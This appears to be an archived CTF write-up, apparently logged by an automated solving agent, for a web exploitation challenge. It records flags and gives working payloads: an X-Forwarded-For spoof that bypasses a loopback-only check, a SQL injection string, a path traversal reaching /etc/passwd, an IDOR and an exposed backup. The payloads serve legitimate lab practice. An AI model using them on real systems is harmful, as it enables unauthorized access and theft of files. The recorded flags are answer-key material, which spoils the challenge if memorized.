Tactical LogHuntress CTF 2026 // team archive

Days / Day 27 / Web Exploitation / Forwarded Misgivings

DAY 27//LANE: WEB EXPLOITATION//STATUS: CORRECT x3

Forwarded Misgivings

Web Exploitation SSTTMM Modes reported CORRECT in this write-up

Forwarded Misgivings (Day 27 / Day 23 curriculum, Web Exploitation)

CID: web-exploitation-day-23-forwarded-misgivings Agent: agent-8 · All three modes CORRECT · 2026-10-27.

Prompt (verbatim, GM)

"The app believes whatever the proxy whispers in its ear. Whisper the right header and stroll down the protected path as an insider."

Flags

  • single_solve: Token5ac0bd7139ea6b2b12fbbe83ab1377af
  • time_trial: (GM accepted, recipe reused)
  • mastery: Tokenc98f81bb72a0c62417026d17fbeacb06

Shape

Single Solve + Time Trial (one shape)

Single target with:

  • / → "Header House · Micronaut" link to /api/clues
  • GET /api/clues → {"framework":"Micronaut","feature_route":"/<slug>","current_role":"analyst","deployment":"trusted_reverse_proxy"}
  • GET <feature_route> with no header → {"error":"loopback_only","evaluated_client":"[ip]"} (external client IP from the reverse proxy)

Micronaut's app logic uses the first value of the X-Forwarded-For chain as the trusted client address; the proxy does not strip client-sent XFF before forwarding.

Exploit: GET <feature_route> with header X-Forwarded-For: 127.0.0.1 → {"ok":true,"effect":"proxy_trust_admin_bypass","evaluated_client":"127.0.0.1","evidence":"proof_<32hex>"}

Submit proof-1 = proof_<32hex>.

Mastery (lane-sampler, 5 heterogeneous targets)

Each Mastery variant is 5 different web vuln classes. Our variant and solve per target:

TargetFingerprintClassExploit
1 Status Sprout/robots.txt: Disallow /releases-<id>/, no /api/cluesExposed backupGET /releases-<id>/ → directory → release-settings-<id>.json.bak contains proof
2 Incident Picnic/api/clues 401 session_required, hrefs to /tickets/<id>Session IDOR via events feedLoad / → gets session cookie → /api/activity leaks foreign ticket_id → GET /api/tickets/<foreign> returns proof
3 Signal Shelfform /lookup?q=SQL injectionGET /lookup?q=') OR 1=1-- surfaces a row carrying proof
4 Stay in Your Directory/handbook.php?doc=welcome.php, PHP include of /var/www/html/pages/<doc>LFIGET /handbook.php?doc=../../../../run/huntress/objective.txt returns the proof file inline (needs 4 levels of ..; fewer levels error "No such file or directory" because /var/www/html/pages/../ resolves and the file does not exist there)
5 Forward Desk · Micronaut/api/clues → deployment: trusted_reverse_proxySame proxy-trust bypass as SingleGET <feature_route> with X-Forwarded-For: 127.0.0.1

Submit all 5 under proof-1 .. proof-5 in one batch (all-or-HELD, Mastery is timed).

Solver changes

solver_copy.py additions:

  • _tech_forwarded_misgivings: /api/clues → feature_route → scoped_get(..., headers={"X-Forwarded-For":"127.0.0.1"}) → extract evidence → return proof. Walks a short header ladder (XFF/X-Real-IP/True-Client-IP/Forwarded; 127.0.0.1/::1/localhost).
  • The existing _tech_robots_recon, _tech_session_idor, _tech_search_sqli, _tech_lfi_viewer (plus the deep LFI payload ../../../../run/huntress/objective.txt) cover Targets 1–4.

Scripts: probe.py, solve_mastery.py, solve_all.py, recon_t1.py, recon_t4.py/b/c.

Gotchas

  • Mastery is a lane sampler, not variants of the Single. Every target must be recognized fresh.
  • The LFI prefix in Target 4 is /var/www/html/pages/ so /etc/passwd wants ../../../../etc/passwd (not fewer ..): fewer segments produce pages/../etc/passwd which does not exist.
  • Earlier variant lost: the autosolve started a Mastery attempt before any lane solver existed for the non-Micronaut targets; its deadline expired before I could write the extra extractors. The second attempt (no server deadline) was solved by the parallel 5-target probe.
  • _list_snapshot.json had aged past the MAX_AGE_S=600s window during repair; the solver's NO-LIST-FALLBACK path then thought every mode was solved. Fix: rewrite the snapshot via list_snapshot.write(stage, 27, gm.list(day=27)) before rerunning autosolve.